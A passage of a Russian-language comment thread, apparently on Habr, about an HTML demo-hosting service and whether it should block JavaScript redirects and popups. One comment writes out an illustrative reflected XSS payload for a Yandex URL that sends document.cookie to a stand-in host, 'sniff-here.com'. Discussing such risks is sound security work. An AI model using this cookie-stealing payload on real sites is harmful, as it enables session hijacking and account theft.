внесу в закладки, неплохо, может быть запретить javascriptы всяких редиректов и т.д., если сервис станет популярным, то, допустим на фрилансе говоришь заказчику — я хочу вот так вот demopreview.xexo.info/demo/view/b7c336729412877c4b6ffbef8d3a946e.html, а там бац, использование пассивной XSS какого-нибудь сайта (небойтесь, там всего-лишь редирект на хабр).
ну допустим кто-то нашёл XSS на Yandex (что-нибудь аля shop.yandex.ru/?category="><script>window.location='http://sniff-here.com/?'+document.cookie</script>), т.е. кто зайдёт туда у того угонятся кукисы, и в этом сервисе создать демонстрацию:
Это уже XSS у Yandex.
С такойже простотой может человек использовать и .narod.ru и ещё много мест где выложить свой html.
И тут запрещать что то нет смысла, во первых javascript очень гибкий язык и любые запреты можно будет обойти а во вторых это уже ограничивает свободу на этом ресурсе (например я не смогу выложить пример с document.cookie или window.location если их запретят)
По-моему, если вам дают ссылку на работу, а вы там увидите кучу попапов, то вы уже можете составить мнение о человеке, который вам дал такую ссылку. Некачественные источники отсеются. Это естественный отбор.
интересно, а если кто хочет показать пример именно с iframe, frameset и т.п.? Думаю просто не нужно тупо ходить по всем ссылкам которые встречаешь. Это ведь может провернуть кто угодно и на своем хомяке. Хотя заставил задуматься, да.
я к тому, что иногда требуется полный контроль над страницей, а не только над внутренностями body.
например, подключить xslt, прописать xmlns, мету для ie8…
можно сделать что то типа такого: грузится страничка с iframe src= «url» и url заменяется на iframe.html с вашего сервера. и рядом ссылка вида «Если хотите посмотреть с включеным iframe жмякните сюда». Ну и для js тож самое можно, что б пользователь сам выбирал что ему смотреть.
угу, безумно боюсь, так боюсь что аж кушать не могу. попап привел для примера. можно засунуть любую гадость начинаю от adware заканчивая чем угодно. советую взять за правило, что приложения должно быть сначала безопастным для пользователя и только потом удобным.
На счет ограничений по Javascript, посмотрите на этот код. Я право, не знаю как с ним бороться. Посему накладываю ответственность, на автора, а также на выложившего ссылку для публичного или личного доступа
Пошел смотреть kcaptcha. Подом подумал, что нет ничего проще как с помощью нативного проView, забивать данные в поле капчи нужные данные)))
всётакие ее и поставлю)
Нажатие клавиши Tab полезно перехватывать и вставлять горизонтальный отступ (как в обычных редакторах кода), иначе сервис можно будет использовать только в режиме копирования/вставки.
Source.bz — Сервис демонстраций